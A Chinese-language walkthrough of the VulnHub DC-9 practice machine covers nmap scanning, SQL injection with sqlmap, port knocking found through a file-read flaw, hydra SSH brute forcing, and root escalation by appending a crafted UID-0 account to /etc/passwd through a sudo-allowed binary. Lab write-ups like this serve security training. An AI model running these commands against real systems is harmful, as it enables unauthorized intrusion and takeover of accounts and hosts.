一、靶机下载地址
https://www.vulnhub.com/entry/dc-9,412/
二、信息收集
1、主机发现,确认靶机的IP地址
# 使用命令
nmap 192.168.145.0/24 -sn | grep -B 2 "00:0C:29:64:5F:C4"
2、端口扫描
# 使用命令
nmap 192.168.145.162 -p- -sV
3、目录扫描
# 使用命令
dirsearch -u "http://192.168.145.162"
4.指纹识别
# 使用命令
whatweb "http://192.168.145.162"
三、获取shell权限
1.发现搜索框,使用burp抓包
2.使用sqlmap工具测试,发现sql注入漏洞
3.查询库名
4.查询Staff库下的表名
5.查询Users表下的字段
6.查看字段下的数据,得到账号和加密的密码
7.对密码进行解密,得到密码
8.尝试登录,发现登录成功
9.在users库下页查到了一下账号和密码
10.将users库下查询到的账号和密码分别保存到usrname.txt和password.txt文件中
11.保存好后使用kali自带的工具进行爆破,发现被ssh拒绝了
12.讲过测试发现网站存在任意文件读取漏洞
13.读取/etc/knockd.conf文件内容进行敲门以关闭防护
14.使用nc命令以此敲门
15.再次扫描发现22端口已经成功打开了
16.进行账号密码爆破
17.依次使用ssh进行连接,获取shell
账号1,发现没什么东西
# 使用命令
ssh chandlerb@192.168.145.162
账号2,也没发现什么东西
# 使用命令
ssh joeyt@192.168.145.162
账号3,发现多了一个目录
# 使用命令
ssh janitor@192.168.145.162
进入目录查看,发现passwords-found-on-post-it-notes.txt文件里有存放的密码
# 使用命令
18、将其写入到 pass.txt 中,再次爆破,得到一个新的账号密码
# 使用命令
hydra -L username.txt -P password.txt 192.168.145.162 ssh
19、使用ssh进行连接,连接成功
# 使用命令
ssh fredf@192.168.145.162
四、权限提升
1、输入sudo -l
查看当前可执行的命令
2、看到 /opt/devstuff/dist/test/test 能以 root 权限执行,进入目录,test 文件查看是乱码,在 /opt/devstuff 下发现 test.py
3、查看test.py
文件内容,发现是一个脚本文件
4、生成一个用户,用root权限执行,将用户写入到 /etc/passwd 中
# 使用命令
openssl passwd -1 -salt dc9 123456
5、回到 /opt/devstuff/dist/test/ 目录,将账号密码写入 /tmp/dc9,再执行 test,将其写入到 /etc/passwd
# 使用命令
echo 'dc9:$1$dc9$3Qf9B8VT49B741CMh3R4m1:0:0::/root:/bin/bash' >> /tmp/dc9
sudo ./test /tmp/dc9 /etc/passwd
6、切换到dc9用户,发现提权成功
# 使用命令
su dc9